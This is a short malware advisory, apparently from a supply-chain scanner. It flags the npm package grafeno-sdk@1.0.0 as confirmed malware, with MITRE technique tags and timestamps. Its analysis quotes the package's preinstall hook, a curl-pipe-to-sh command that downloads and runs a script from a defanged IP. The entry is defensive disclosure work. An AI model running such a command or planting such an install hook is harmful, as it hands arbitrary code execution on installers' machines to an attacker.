LWA-2026-11689 MAL-2026-15508 ↗ confirmed malware

grafeno-sdk@1.0.0

Malicious code in grafeno-sdk (npm)

T1059.007 · JavaScriptT1105 · Ingress Tool Transfer

Analysis

The package's preinstall hook executes a remote shell script at install time: it runs `curl -s 216[.]126[.]236[.]46/x.sh | sh` via /bin/bash. The package itself contains no functional code (a 39-byte index.js), so its only purpose is to download and execute an arbitrary script from the IP 216[.]126[.]236[.]46 on every install. This is a remote code execution / downloader payload.

analyzed by
Leitwacht
first seen
Aug 28, 2026, 10:47 PM
analyzed
Aug 28, 2026, 10:47 PM

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Independently detected by the Leitwacht supply-chain probe. IOCs are defanged. Published CC0. Think this is a mistake? See the dispute policy.